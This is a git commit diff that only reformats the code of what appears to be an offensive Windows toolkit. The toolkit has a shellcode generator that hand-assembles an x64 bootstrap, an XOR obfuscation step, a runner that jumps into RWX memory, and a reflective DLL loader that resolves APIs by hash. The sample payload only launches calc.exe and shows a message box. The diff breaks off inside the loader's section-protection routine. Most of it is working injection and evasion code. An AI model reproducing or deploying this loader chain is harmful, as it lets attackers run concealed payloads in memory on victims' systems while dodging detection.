proper linting & google formatting

This commit is contained in:
17ms 2024-01-06 13:53:18 +02:00
parent 2aa60ccc61
commit ef9b173c6e
10 changed files with 643 additions and 719 deletions

View File

@ -1,268 +1,262 @@
#include "generator.hpp" #include "generator.hpp"
#include <string>
#include <vector>
#include "../shared/crypto.hpp" #include "../shared/crypto.hpp"
#include "../shared/futils.hpp" #include "../shared/futils.hpp"
int main(int argc, char **argv) int main(int argc, char **argv) {
{ uint8_t flag = false;
uint8_t flag = false; std::string loaderPath, payloadPath, funcName, funcParameter, outputPath;
std::string loaderPath, payloadPath, funcName, funcParameter, outputPath;
static struct option longOptions[] = { static struct option longOptions[] = {
{"loader", required_argument, 0, 'l'}, {"loader", required_argument, 0, 'l'},
{"payload", required_argument, 0, 'p'}, {"payload", required_argument, 0, 'p'},
{"function", required_argument, 0, 'n'}, {"function", required_argument, 0, 'n'},
{"parameter", required_argument, 0, 'a'}, {"parameter", required_argument, 0, 'a'},
{"output", required_argument, 0, 'o'}, {"output", required_argument, 0, 'o'},
{"flag", no_argument, 0, 'f'}, {"flag", no_argument, 0, 'f'},
{"help", no_argument, 0, 'h'}, {"help", no_argument, 0, 'h'},
{0, 0, 0, 0}}; {0, 0, 0, 0}};
auto optionIndex = 0; auto optionIndex = 0;
int c; int c;
while ((c = getopt_long(argc, argv, "l:p:n:a:o:fh", longOptions, &optionIndex))) while ((c = getopt_long(argc, argv, "l:p:n:a:o:fh", longOptions, &optionIndex))) {
{ switch (c) {
switch (c) case 'l':
{ loaderPath = optarg;
case 'l': break;
loaderPath = optarg; case 'p':
break; payloadPath = optarg;
case 'p': break;
payloadPath = optarg; case 'n':
break; funcName = optarg;
case 'n': break;
funcName = optarg; case 'a':
break; funcParameter = optarg;
case 'a': break;
funcParameter = optarg; case 'o':
break; outputPath = optarg;
case 'o': break;
outputPath = optarg; case 'f':
break; flag = true;
case 'f': break;
flag = true; case 'h':
break; PrintHelp(argv);
case 'h': return 0;
PrintHelp(argv); default:
return 0;
default:
PrintHelp(argv);
return 1;
}
}
if (loaderPath.empty() || payloadPath.empty() || funcName.empty() || funcParameter.empty(), outputPath.empty())
{
std::cout << "[!] Missing required arguments" << std::endl;
PrintHelp(argv); PrintHelp(argv);
return 1; return 1;
} }
}
std::cout << "[+] Loader path: " << loaderPath << std::endl; if (loaderPath.empty() || payloadPath.empty() || funcName.empty() || funcParameter.empty(), outputPath.empty()) {
std::cout << "[+] Payload path: " << payloadPath << std::endl; std::cout << "[!] Missing required arguments" << std::endl;
std::cout << "[+] Output path: " << outputPath << std::endl; PrintHelp(argv);
return 1;
}
auto loaderContents = ReadFromFile(loaderPath); std::cout << "[+] Loader path: " << loaderPath << std::endl;
auto payloadContents = ReadFromFile(payloadPath); std::cout << "[+] Payload path: " << payloadPath << std::endl;
std::cout << "[+] Output path: " << outputPath << std::endl;
// Compose the complete shellcode from loader, payload, and bootstrap auto loaderContents = ReadFromFile(loaderPath);
auto payloadContents = ReadFromFile(payloadPath);
std::vector<BYTE> bootstrap; // Compose the complete shellcode from loader, payload, and bootstrap
DWORD funcParameterHash = CalculateHash(funcParameter);
/* std::vector<BYTE> bootstrap;
1.) Save the current location in memory for calculating offsets later DWORD funcParameterHash = CalculateHash(funcParameter);
*/
// Call the next instruction (push next instruction address to stack) /*
bootstrap.push_back(0xe8); 1.) Save the current location in memory for calculating offsets later
bootstrap.push_back(0x00); */
bootstrap.push_back(0x00);
bootstrap.push_back(0x00);
bootstrap.push_back(0x00);
// pop rcx -> Pop the value saved on the stack into rcx to caputre our current location in memory // Call the next instruction (push next instruction address to stack)
bootstrap.push_back(0x59); bootstrap.push_back(0xe8);
bootstrap.push_back(0x00);
bootstrap.push_back(0x00);
bootstrap.push_back(0x00);
bootstrap.push_back(0x00);
// mov r8, rcx -> Copy the value of rcx into r8 before starting to modify rcx // pop rcx -> Pop the value saved on the stack into rcx to caputre our current location in memory
bootstrap.push_back(0x49); bootstrap.push_back(0x59);
bootstrap.push_back(0x89);
bootstrap.push_back(0xc8);
/* // mov r8, rcx -> Copy the value of rcx into r8 before starting to modify rcx
2.) Align the stack and create shadow space bootstrap.push_back(0x49);
*/ bootstrap.push_back(0x89);
bootstrap.push_back(0xc8);
// push rsi -> Save the original value /*
bootstrap.push_back(0x56); 2.) Align the stack and create shadow space
*/
// mov rsi, rsp -> Stores the current stack pointer in rsi for later // push rsi -> Save the original value
bootstrap.push_back(0x48); bootstrap.push_back(0x56);
bootstrap.push_back(0x89);
bootstrap.push_back(0xe6);
// and rsp, 0xfffffffffffffff0 -> Align the stack to 16 bytes // mov rsi, rsp -> Stores the current stack pointer in rsi for later
bootstrap.push_back(0x48); bootstrap.push_back(0x48);
bootstrap.push_back(0x83); bootstrap.push_back(0x89);
bootstrap.push_back(0xe4); bootstrap.push_back(0xe6);
bootstrap.push_back(0xf0);
// sub rsp, 0x30 -> (48 bytes) Create shadow space on the stack (required for x64, minimum of 32 bytes required for rcx, rdx, r8, and r9) // and rsp, 0xfffffffffffffff0 -> Align the stack to 16 bytes
bootstrap.push_back(0x48); bootstrap.push_back(0x48);
bootstrap.push_back(0x83); bootstrap.push_back(0x83);
bootstrap.push_back(0xec); bootstrap.push_back(0xe4);
bootstrap.push_back(6 * 8); // 6 (args) * 8 (bytes) bootstrap.push_back(0xf0);
/* // sub rsp, 0x30 -> (48 bytes) Create shadow space on the stack (required for x64, minimum of 32 bytes required for rcx, rdx, r8, and r9)
3.) Setup reflective loader parameters: Place the last 5th and 6th arguments on the stack (rcx, rdx, r8, and r9 are already on the stack as the first 4 arguments) bootstrap.push_back(0x48);
*/ bootstrap.push_back(0x83);
bootstrap.push_back(0xec);
bootstrap.push_back(6 * 8); // 6 (args) * 8 (bytes)
// mov qword ptr [rsp + 0x20], rcx (shellcode base + 5 bytes) -> (32 bytes) Push in the shellcode base address as the 5th argument /*
bootstrap.push_back(0x48); 3.) Setup reflective loader parameters: Place the last 5th and 6th arguments on the stack (rcx, rdx, r8, and r9 are already on the stack as the first 4 arguments)
bootstrap.push_back(0x89); */
bootstrap.push_back(0x4c);
bootstrap.push_back(0x24);
bootstrap.push_back(4 * 8); // 4 (args) * 8 (bytes)
// sub qword ptr [rsp + 0x20], 0x5 (shellcode base) -> Modify the 5th argument to point to the start of the real shellcode base address // mov qword ptr [rsp + 0x20], rcx (shellcode base + 5 bytes) -> (32 bytes) Push in the shellcode base address as the 5th argument
bootstrap.push_back(0x48); bootstrap.push_back(0x48);
bootstrap.push_back(0x83); bootstrap.push_back(0x89);
bootstrap.push_back(0x6c); bootstrap.push_back(0x4c);
bootstrap.push_back(0x24); bootstrap.push_back(0x24);
bootstrap.push_back(4 * 8); // 4 (args) * 8 (bytes) bootstrap.push_back(4 * 8); // 4 (args) * 8 (bytes)
bootstrap.push_back(5); // Minus 5 bytes (because call 0x00 is 5 bytes to get the real shellcode base address)
// mov dword ptr [rsp + 0x28], <flags> -> (40 bytes) Push in the flags as the 6th argument // sub qword ptr [rsp + 0x20], 0x5 (shellcode base) -> Modify the 5th argument to point to the start of the real shellcode base address
bootstrap.push_back(0xc7); bootstrap.push_back(0x48);
bootstrap.push_back(0x44); bootstrap.push_back(0x83);
bootstrap.push_back(0x24); bootstrap.push_back(0x6c);
bootstrap.push_back(5 * 8); // 5 (args) * 8 (bytes) bootstrap.push_back(0x24);
bootstrap.push_back(flag); bootstrap.push_back(4 * 8); // 4 (args) * 8 (bytes)
bootstrap.push_back(5); // Minus 5 bytes (because call 0x00 is 5 bytes to get the real shellcode base address)
/* // mov dword ptr [rsp + 0x28], <flags> -> (40 bytes) Push in the flags as the 6th argument
4.) Setup reflective loader parameters: 1st -> rcx, 2nd -> rdx, 3rd -> r8, 4th -> r9 bootstrap.push_back(0xc7);
*/ bootstrap.push_back(0x44);
bootstrap.push_back(0x24);
bootstrap.push_back(5 * 8); // 5 (args) * 8 (bytes)
bootstrap.push_back(flag);
// mov r9, <funcParameterSize> -> Copy the 4th parameter, the size of the function parameter, into r9 /*
bootstrap.push_back(0x41); 4.) Setup reflective loader parameters: 1st -> rcx, 2nd -> rdx, 3rd -> r8, 4th -> r9
bootstrap.push_back(0xb9); */
auto funcParameterSize = static_cast<DWORD>(funcParameter.size());
bootstrap.push_back(static_cast<BYTE>(funcParameterSize));
// add r8, <funcParameterOffset> + <payloadSize> -> Copy the 3rd parameter, the offset of the function parameter, into r8 and add the payload size // mov r9, <funcParameterSize> -> Copy the 4th parameter, the size of the function parameter, into r9
bootstrap.push_back(0x49); bootstrap.push_back(0x41);
bootstrap.push_back(0x81); bootstrap.push_back(0xb9);
bootstrap.push_back(0xc0); auto funcParameterSize = static_cast<DWORD>(funcParameter.size());
auto funcParameterOffset = (BOOTSTRAP_LEN - 5) + loaderContents.size() + payloadContents.size(); bootstrap.push_back(static_cast<BYTE>(funcParameterSize));
for (size_t i = 0; i < sizeof(funcParameterOffset); i++) // add r8, <funcParameterOffset> + <payloadSize> -> Copy the 3rd parameter, the offset of the function parameter, into r8 and add the payload size
{ bootstrap.push_back(0x49);
bootstrap.push_back(static_cast<BYTE>(funcParameterOffset >> (i * 8) & 0xff)); bootstrap.push_back(0x81);
} bootstrap.push_back(0xc0);
auto funcParameterOffset = (BOOTSTRAP_LEN - 5) + loaderContents.size() + payloadContents.size();
// mov edx, <funcParameterHash> -> Copy the 2nd parameter, the hash of the function parameter, into edx for (size_t i = 0; i < sizeof(funcParameterOffset); i++) {
bootstrap.push_back(0xba); bootstrap.push_back(static_cast<BYTE>(funcParameterOffset >> (i * 8) & 0xff));
}
for (size_t i = 0; i < sizeof(funcParameterHash); i++) // mov edx, <funcParameterHash> -> Copy the 2nd parameter, the hash of the function parameter, into edx
{ bootstrap.push_back(0xba);
bootstrap.push_back(static_cast<BYTE>(funcParameterHash >> (i * 8) & 0xff));
}
// add rcx, <payloadOffset> -> Copy the 1st parameter, the address of the payload, into rcx for (size_t i = 0; i < sizeof(funcParameterHash); i++) {
bootstrap.push_back(0x48); bootstrap.push_back(static_cast<BYTE>(funcParameterHash >> (i * 8) & 0xff));
bootstrap.push_back(0x81); }
bootstrap.push_back(0xc1);
auto payloadOffset = (BOOTSTRAP_LEN - 5) + loaderContents.size();
for (size_t i = 0; i < sizeof(payloadOffset); i++) // add rcx, <payloadOffset> -> Copy the 1st parameter, the address of the payload, into rcx
{ bootstrap.push_back(0x48);
bootstrap.push_back(static_cast<BYTE>(payloadOffset >> (i * 8) & 0xff)); bootstrap.push_back(0x81);
} bootstrap.push_back(0xc1);
auto payloadOffset = (BOOTSTRAP_LEN - 5) + loaderContents.size();
/* for (size_t i = 0; i < sizeof(payloadOffset); i++) {
5.) Call the reflective loader bootstrap.push_back(static_cast<BYTE>(payloadOffset >> (i * 8) & 0xff));
*/ }
// Call <reflectiveLoaderAddress> -> Call the reflective loader address /*
bootstrap.push_back(0xe8); 5.) Call the reflective loader
auto reflectiveLoaderAddress = (BOOTSTRAP_LEN - 5) + loaderContents.size(); */
for (size_t i = 0; i < sizeof(reflectiveLoaderAddress); i++) // Call <reflectiveLoaderAddress> -> Call the reflective loader address
{ bootstrap.push_back(0xe8);
bootstrap.push_back(static_cast<BYTE>(reflectiveLoaderAddress >> (i * 8) & 0xff)); auto reflectiveLoaderAddress = (BOOTSTRAP_LEN - 5) + loaderContents.size();
}
// Add padding for (size_t i = 0; i < sizeof(reflectiveLoaderAddress); i++) {
bootstrap.push_back(0x90); bootstrap.push_back(static_cast<BYTE>(reflectiveLoaderAddress >> (i * 8) & 0xff));
bootstrap.push_back(0x90); }
/* // Add padding
6.) Restore the stack and return to the original location (caller) bootstrap.push_back(0x90);
*/ bootstrap.push_back(0x90);
// mov rsp, rsi -> Restore the original stack pointer /*
bootstrap.push_back(0x48); 6.) Restore the stack and return to the original location (caller)
bootstrap.push_back(0x89); */
bootstrap.push_back(0xf4);
// pop rsi -> Restore the original value // mov rsp, rsi -> Restore the original stack pointer
bootstrap.push_back(0x5e); bootstrap.push_back(0x48);
bootstrap.push_back(0x89);
bootstrap.push_back(0xf4);
// ret -> Return to the original location // pop rsi -> Restore the original value
bootstrap.push_back(0xc3); bootstrap.push_back(0x5e);
// Add padding // ret -> Return to the original location
bootstrap.push_back(0x90); bootstrap.push_back(0xc3);
bootstrap.push_back(0x90);
if (bootstrap.size() != BOOTSTRAP_LEN) // Add padding
{ bootstrap.push_back(0x90);
std::cout << "[!] Bootstrap size mismatch: " << bootstrap.size() << " != " << BOOTSTRAP_LEN << std::endl; bootstrap.push_back(0x90);
return 1;
}
std::cout << "[+] Bootstrap size: " << bootstrap.size() << std::endl; if (bootstrap.size() != BOOTSTRAP_LEN) {
std::cout << "[+] Loader size: " << loaderContents.size() << std::endl; std::cout << "[!] Bootstrap size mismatch: " << bootstrap.size() << " != " << BOOTSTRAP_LEN << std::endl;
std::cout << "[+] Payload size: " << payloadContents.size() << std::endl; return 1;
}
/* std::cout << "[+] Bootstrap size: " << bootstrap.size() << std::endl;
Form the complete shellcode with the following structure: std::cout << "[+] Loader size: " << loaderContents.size() << std::endl;
- Bootstrap std::cout << "[+] Payload size: " << payloadContents.size() << std::endl;
- RDI shellcode
- Payload DLL bytes
- User data
*/
bootstrap.insert(bootstrap.end(), loaderContents.begin(), loaderContents.end()); /*
bootstrap.insert(bootstrap.end(), payloadContents.begin(), payloadContents.end()); Form the complete shellcode with the following structure:
- Bootstrap
- RDI shellcode
- Payload DLL bytes
- User data
*/
// XOR with a random content length key bootstrap.insert(bootstrap.end(), loaderContents.begin(), loaderContents.end());
std::cout << "[+] XOR'ing the shellcode..." << std::endl; bootstrap.insert(bootstrap.end(), payloadContents.begin(), payloadContents.end());
auto key = GenerateKey(bootstrap.size());
XorCipher(bootstrap, key);
std::cout << "[+] Total XOR'd shellcode size: " << bootstrap.size() << std::endl; // XOR with a random content length key
std::cout << "[+] XOR'ing the shellcode..." << std::endl;
auto key = GenerateKey(bootstrap.size());
XorCipher(&bootstrap, key);
WriteToFile(outputPath, bootstrap); std::cout << "[+] Total XOR'd shellcode size: " << bootstrap.size() << std::endl;
std::cout << "[+] Wrote the final shellcode to " << outputPath << std::endl;
auto keyPath = outputPath + ".key"; WriteToFile(outputPath, bootstrap);
WriteToFile(keyPath, key); std::cout << "[+] Wrote the final shellcode to " << outputPath << std::endl;
std::cout << "[+] Wrote the XOR key to " << keyPath << std::endl;
return 0; auto keyPath = outputPath + ".key";
WriteToFile(keyPath, key);
std::cout << "[+] Wrote the XOR key to " << keyPath << std::endl;
return 0;
} }
void PrintHelp(char **argv) void PrintHelp(char **argv) {
{ std::cout << "Usage: " << argv[0] << " [ARGUMENTS] [OPTIONS]" << std::endl;
std::cout << "Usage: " << argv[0] << " [ARGUMENTS] [OPTIONS]" << std::endl; std::cout << "\nArguments:" << std::endl;
std::cout << "\nArguments:" << std::endl; std::cout << "\t-l, --loader Path to loader file" << std::endl;
std::cout << "\t-l, --loader Path to loader file" << std::endl; std::cout << "\t-p, --payload Path to payload file" << std::endl;
std::cout << "\t-p, --payload Path to payload file" << std::endl; std::cout << "\t-n, --function Function name to call inside payload" << std::endl;
std::cout << "\t-n, --function Function name to call inside payload" << std::endl; std::cout << "\t-a, --parameter Function parameter to pass to the called function" << std::endl;
std::cout << "\t-a, --parameter Function parameter to pass to the called function" << std::endl; std::cout << "\t-o, --output Path to output file" << std::endl;
std::cout << "\t-o, --output Path to output file" << std::endl; std::cout << "\nOptions:" << std::endl;
std::cout << "\nOptions:" << std::endl; std::cout << "\t-f, --flag Flag to enable debug mode" << std::endl;
std::cout << "\t-f, --flag Flag to enable debug mode" << std::endl; std::cout << "\t-h, --help Print this help message" << std::endl;
std::cout << "\t-h, --help Print this help message" << std::endl;
} }

View File

@ -1,9 +1,10 @@
#pragma once #pragma once
#include <windows.h>
#include <getopt.h> #include <getopt.h>
#include <windows.h>
#include <iostream> #include <iostream>
constexpr auto BOOTSTRAP_LEN = 79; constexpr auto BOOTSTRAP_LEN = 79;
void PrintHelp(char **argv); void PrintHelp(char **argv);

View File

@ -1,56 +1,55 @@
#include <windows.h> #include <windows.h>
#include <iostream> #include <iostream>
#include "../shared/futils.hpp"
#include "../shared/crypto.hpp" #include "../shared/crypto.hpp"
#include "../shared/futils.hpp"
#define VERBOSE 1 #define VERBOSE 1
int main(int argc, char **argv) int main(int argc, char **argv) {
{ if (argc != 3) {
if (argc != 3) std::cout << "[?] Usage: " << argv[0] << " <shellcode-path> <xor-keyfile-path>" << std::endl;
{ return 1;
std::cout << "[?] Usage: " << argv[0] << " <shellcode-path> <xor-keyfile-path>" << std::endl; }
return 1;
}
#ifdef VERBOSE #ifdef VERBOSE
std::cout << "[+] Reading shellcode from " << argv[1] << std::endl; std::cout << "[+] Reading shellcode from " << argv[1] << std::endl;
#endif #endif
auto shellcodeContents = ReadFromFile(argv[1]); auto shellcodeContents = ReadFromFile(argv[1]);
#ifdef VERBOSE #ifdef VERBOSE
std::cout << "[+] Reading XOR key from " << argv[2] << std::endl; std::cout << "[+] Reading XOR key from " << argv[2] << std::endl;
#endif #endif
auto key = ReadFromFile(argv[2]); auto key = ReadFromFile(argv[2]);
#ifdef VERBOSE #ifdef VERBOSE
std::cout << "[+] XOR'ing shellcode" << std::endl; std::cout << "[+] XOR'ing shellcode" << std::endl;
#endif #endif
XorCipher(shellcodeContents, key); XorCipher(&shellcodeContents, key);
auto baseAddress = VirtualAlloc(nullptr, shellcodeContents.size(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); auto baseAddress = VirtualAlloc(nullptr, shellcodeContents.size(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!baseAddress) if (!baseAddress) {
{ std::cout << "[!] Failed to allocate memory" << std::endl;
std::cout << "[!] Failed to allocate memory" << std::endl; return 1;
return 1; }
}
#ifdef VERBOSE #ifdef VERBOSE
std::cout << "[+] Allocated " << shellcodeContents.size() << " bytes at " << baseAddress << std::endl; std::cout << "[+] Allocated " << shellcodeContents.size() << " bytes at " << baseAddress << std::endl;
#endif #endif
std::copy(shellcodeContents.begin(), shellcodeContents.end(), static_cast<char *>(baseAddress)); std::copy(shellcodeContents.begin(), shellcodeContents.end(), static_cast<char *>(baseAddress));
#ifdef VERBOSE #ifdef VERBOSE
std::cout << "[+] Copied shellcode to " << baseAddress << std::endl; std::cout << "[+] Copied shellcode to " << baseAddress << std::endl;
std::cout << "[+] Executing 'jmp " << baseAddress << "'" << std::endl; std::cout << "[+] Executing 'jmp " << baseAddress << "'" << std::endl;
#endif #endif
__asm__("jmp *%0" ::"r"(baseAddress)); __asm__("jmp *%0" ::"r"(baseAddress));
return 0; return 0;
} }

View File

@ -8,20 +8,17 @@
#define DLL_EXPORT __declspec(dllimport) #define DLL_EXPORT __declspec(dllimport)
#endif #endif
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, LPVOID lpReserved) BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, LPVOID lpReserved) {
{ if (dwReason == DLL_PROCESS_ATTACH) {
if (dwReason == DLL_PROCESS_ATTACH) CreateProcessW(L"C:\\Windows\\System32\\calc.exe", NULL, NULL, NULL, FALSE, 0, NULL, NULL, NULL, NULL);
{ }
CreateProcessW(L"C:\\Windows\\System32\\calc.exe", NULL, NULL, NULL, FALSE, 0, NULL, NULL, NULL, NULL);
}
return TRUE; return TRUE;
} }
BOOL PrintMessage(LPVOID lpUserData, DWORD dwUserDataSize) BOOL PrintMessage(LPVOID lpUserData, DWORD dwUserDataSize) {
{ auto lpText = static_cast<LPCWSTR>(lpUserData);
auto lpText = static_cast<LPCWSTR>(lpUserData); MessageBoxW(NULL, lpText, L"Hello World!", MB_OK);
MessageBoxW(NULL, lpText, L"Hello World!", MB_OK);
return TRUE; return TRUE;
} }

View File

@ -1,446 +1,392 @@
#include "loader.hpp" #include "loader.hpp"
#include <tuple>
#include <utility>
#include <vector>
#include "../shared/crypto.hpp" #include "../shared/crypto.hpp"
void Load(PBYTE pImage, DWORD dwFunctionHash, PVOID pvUserData, DWORD dwUserDataLen, DWORD dwFlags) void Load(PBYTE pImage, DWORD dwFunctionHash, PVOID pvUserData, DWORD dwUserDataLen, DWORD dwFlags) {
{ /*
/* 1.) Locate the required functions and modules from exports with their hashed names
1.) Locate the required functions and modules from exports with their hashed names */
*/
auto pbKernel32Dll = GetModuleAddressFromHash(KERNEL32_DLL_HASH); auto pbKernel32Dll = GetModuleAddressFromHash(KERNEL32_DLL_HASH);
if (pbKernel32Dll == nullptr) if (pbKernel32Dll == nullptr) {
{ return;
return; }
std::random_device rd;
std::mt19937 eng(rd());
auto pLoadLibraryW = reinterpret_cast<LOAD_LIBRARY_W>(GetExportAddrFromHash(pbKernel32Dll, LOAD_LIBRARY_W_HASH, eng));
auto pGetProcAddress = reinterpret_cast<GET_PROC_ADDRESS>(GetExportAddrFromHash(pbKernel32Dll, GET_PROC_ADDRESS_HASH, eng));
auto pVirtualAlloc = reinterpret_cast<VIRTUAL_ALLOC>(GetExportAddrFromHash(pbKernel32Dll, VIRTUAL_ALLOC_HASH, eng));
auto pFlushInstructionCache = reinterpret_cast<FLUSH_INSTRUCTION_CACHE>(GetExportAddrFromHash(pbKernel32Dll, FLUSH_INSTRUCTION_CACHE_HASH, eng));
auto pVirtualProtect = reinterpret_cast<VIRTUAL_PROTECT>(GetExportAddrFromHash(pbKernel32Dll, VIRTUAL_PROTECT_HASH, eng));
auto pSleep = reinterpret_cast<SLEEP>(GetExportAddrFromHash(pbKernel32Dll, SLEEP_HASH, eng));
if (pLoadLibraryW == nullptr || pGetProcAddress == nullptr || pVirtualAlloc == nullptr || pFlushInstructionCache == nullptr || pVirtualProtect == nullptr || pSleep == nullptr) {
return;
}
/*
2.) Load the target image to a newly allocated permanent memory location with RW permissions
- https://github.com/fancycode/MemoryModule/blob/master/MemoryModule.c
*/
auto pNtHeaders = GetNtHeaders(pImage);
if (pNtHeaders == nullptr) {
return;
} else if (pNtHeaders->Signature != IMAGE_NT_SIGNATURE) {
return;
} else if (pNtHeaders->FileHeader.Machine != IMAGE_FILE_MACHINE_AMD64) {
return;
} else if (pNtHeaders->OptionalHeader.SectionAlignment & 1) {
return;
}
auto dwImageSize = pNtHeaders->OptionalHeader.SizeOfImage;
auto ullPreferredImageBase = pNtHeaders->OptionalHeader.ImageBase;
// Try to allocate the image to the preferred base address
auto pNewImageBase = reinterpret_cast<ULONG_PTR>(pVirtualAlloc(reinterpret_cast<LPVOID>(ullPreferredImageBase), dwImageSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE));
if (!pNewImageBase) {
// Try to allocate the image to any available base address
pNewImageBase = reinterpret_cast<ULONG_PTR>(pVirtualAlloc(nullptr, dwImageSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE));
if (!pNewImageBase) {
return;
} }
}
std::random_device rd; CopyHeadersAndSections(pNewImageBase, pImage, pNtHeaders);
std::mt19937 eng(rd());
auto pLoadLibraryW = reinterpret_cast<LOAD_LIBRARY_W>(GetExportAddrFromHash(pbKernel32Dll, LOAD_LIBRARY_W_HASH, eng)); /*
auto pGetProcAddress = reinterpret_cast<GET_PROC_ADDRESS>(GetExportAddrFromHash(pbKernel32Dll, GET_PROC_ADDRESS_HASH, eng)); 3.) Process the image relocations (assumes the image couldn't be loaded to the preferred base address)
auto pVirtualAlloc = reinterpret_cast<VIRTUAL_ALLOC>(GetExportAddrFromHash(pbKernel32Dll, VIRTUAL_ALLOC_HASH, eng)); */
auto pFlushInstructionCache = reinterpret_cast<FLUSH_INSTRUCTION_CACHE>(GetExportAddrFromHash(pbKernel32Dll, FLUSH_INSTRUCTION_CACHE_HASH, eng));
auto pVirtualProtect = reinterpret_cast<VIRTUAL_PROTECT>(GetExportAddrFromHash(pbKernel32Dll, VIRTUAL_PROTECT_HASH, eng));
auto pSleep = reinterpret_cast<SLEEP>(GetExportAddrFromHash(pbKernel32Dll, SLEEP_HASH, eng));
if (pLoadLibraryW == nullptr || pGetProcAddress == nullptr || pVirtualAlloc == nullptr || pFlushInstructionCache == nullptr || pVirtualProtect == nullptr || pSleep == nullptr) auto ulpDelta = pNewImageBase - pNtHeaders->OptionalHeader.ImageBase;
{ auto pDataDir = &pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
return;
}
/* if (!ProcessRelocations(pNewImageBase, pDataDir, ulpDelta)) {
2.) Load the target image to a newly allocated permanent memory location with RW permissions return;
- https://github.com/fancycode/MemoryModule/blob/master/MemoryModule.c }
*/
auto pNtHeaders = GetNtHeaders(pImage); /*
4.) Resolve the imports by patching the Import Address Table (IAT)
*/
if (pNtHeaders == nullptr) if (!PatchImportAddressTable(pNewImageBase, pDataDir, pLoadLibraryW, pGetProcAddress, pSleep, eng)) {
{ return;
return; }
}
else if (pNtHeaders->Signature != IMAGE_NT_SIGNATURE)
{
return;
}
else if (pNtHeaders->FileHeader.Machine != IMAGE_FILE_MACHINE_AMD64)
{
return;
}
else if (pNtHeaders->OptionalHeader.SectionAlignment & 1)
{
return;
}
auto dwImageSize = pNtHeaders->OptionalHeader.SizeOfImage; /*
auto ullPreferredImageBase = pNtHeaders->OptionalHeader.ImageBase; 5.) Finalize the sections by setting protective permissions after mapping the image
*/
// Try to allocate the image to the preferred base address FinalizeRelocations(pNewImageBase, pNtHeaders, pVirtualProtect, pFlushInstructionCache);
auto pNewImageBase = reinterpret_cast<ULONG_PTR>(pVirtualAlloc(reinterpret_cast<LPVOID>(ullPreferredImageBase), dwImageSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE));
if (!pNewImageBase) /*
{ 6.) Execute DllMain or user defined function depending on the flag passed into the shellcode by the generator
// Try to allocate the image to any available base address */
pNewImageBase = reinterpret_cast<ULONG_PTR>(pVirtualAlloc(nullptr, dwImageSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE));
if (!pNewImageBase) if (dwFlags == 0) {
{ // Execute DllMain with DLL_PROCESS_ATTACH
return; auto pDllMain = reinterpret_cast<DLL_MAIN>(pNewImageBase + pNtHeaders->OptionalHeader.AddressOfEntryPoint);
} // Optionally user data could also be passed to the DllMain instead of a separate function
} pDllMain(reinterpret_cast<HMODULE>(pNewImageBase), DLL_PROCESS_ATTACH, nullptr);
} else {
CopyHeadersAndSections(pNewImageBase, pImage, pNtHeaders); // Execute user defined function
auto pbNewImageBase = reinterpret_cast<PBYTE>(pNewImageBase);
/* auto pUserFunction = reinterpret_cast<USER_FUNCTION>(GetExportAddrFromHash(pbNewImageBase, dwFunctionHash, eng));
3.) Process the image relocations (assumes the image couldn't be loaded to the preferred base address) pUserFunction(pvUserData, dwUserDataLen);
*/ }
auto ulpDelta = pNewImageBase - pNtHeaders->OptionalHeader.ImageBase;
auto pDataDir = &pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
if (!ProcessRelocations(pNewImageBase, pDataDir, ulpDelta))
{
return;
}
/*
4.) Resolve the imports by patching the Import Address Table (IAT)
*/
if (!PatchImportAddressTable(pNewImageBase, pDataDir, pLoadLibraryW, pGetProcAddress, pSleep, eng))
{
return;
}
/*
5.) Finalize the sections by setting protective permissions after mapping the image
*/
FinalizeRelocations(pNewImageBase, pNtHeaders, pVirtualProtect, pFlushInstructionCache);
/*
6.) Execute DllMain or user defined function depending on the flag passed into the shellcode by the generator
*/
if (dwFlags == 0)
{
// Execute DllMain with DLL_PROCESS_ATTACH
auto pDllMain = reinterpret_cast<DLL_MAIN>(pNewImageBase + pNtHeaders->OptionalHeader.AddressOfEntryPoint);
// Optionally user data could also be passed to the DllMain instead of a separate function
pDllMain(reinterpret_cast<HMODULE>(pNewImageBase), DLL_PROCESS_ATTACH, nullptr);
}
else
{
// Execute user defined function
auto pbNewImageBase = reinterpret_cast<PBYTE>(pNewImageBase);
auto pUserFunction = reinterpret_cast<USER_FUNCTION>(GetExportAddrFromHash(pbNewImageBase, dwFunctionHash, eng));
pUserFunction(pvUserData, dwUserDataLen);
}
} }
void FinalizeRelocations(ULONG_PTR pNewImageBase, PIMAGE_NT_HEADERS64 pNtHeaders, VIRTUAL_PROTECT pVirtualProtect, FLUSH_INSTRUCTION_CACHE pFlushInstructionCache) void FinalizeRelocations(ULONG_PTR pNewImageBase, PIMAGE_NT_HEADERS64 pNtHeaders, VIRTUAL_PROTECT pVirtualProtect, FLUSH_INSTRUCTION_CACHE pFlushInstructionCache) {
{ auto pSectionHeader = IMAGE_FIRST_SECTION(pNtHeaders);
auto pSectionHeader = IMAGE_FIRST_SECTION(pNtHeaders);
DWORD dwOldProtect, dwNewProtect; DWORD dwOldProtect, dwNewProtect;
LPVOID lpAddress; LPVOID lpAddress;
for (auto i = 0; i < pNtHeaders->FileHeader.NumberOfSections; pSectionHeader++, i++) for (auto i = 0; i < pNtHeaders->FileHeader.NumberOfSections; pSectionHeader++, i++) {
{ dwNewProtect = 0;
dwNewProtect = 0;
// Definitions for readability // Definitions for readability
DWORD dwIsExecutable = (pSectionHeader->Characteristics & IMAGE_SCN_MEM_EXECUTE) != 0; DWORD dwIsExecutable = (pSectionHeader->Characteristics & IMAGE_SCN_MEM_EXECUTE) != 0;
DWORD dwIsReadable = (pSectionHeader->Characteristics & IMAGE_SCN_MEM_READ) != 0; DWORD dwIsReadable = (pSectionHeader->Characteristics & IMAGE_SCN_MEM_READ) != 0;
DWORD dwIsWritable = (pSectionHeader->Characteristics & IMAGE_SCN_MEM_WRITE) != 0; DWORD dwIsWritable = (pSectionHeader->Characteristics & IMAGE_SCN_MEM_WRITE) != 0;
if (!dwIsExecutable && !dwIsReadable && !dwIsWritable) if (!dwIsExecutable && !dwIsReadable && !dwIsWritable) {
